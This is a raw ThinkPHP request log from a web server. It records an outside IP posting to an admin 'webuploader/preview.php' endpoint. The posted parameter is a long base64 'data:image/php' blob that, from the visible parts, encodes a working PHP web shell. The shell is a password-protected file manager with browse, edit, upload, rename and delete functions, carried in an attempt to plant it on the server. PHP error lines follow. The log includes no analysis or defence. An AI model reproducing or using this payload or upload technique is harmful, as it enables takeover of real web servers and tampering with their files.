pZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:45+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/webuploader/preview.php [运行时间:0.003383s] [吞吐率:295.58req/s] [内存消耗:196.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGN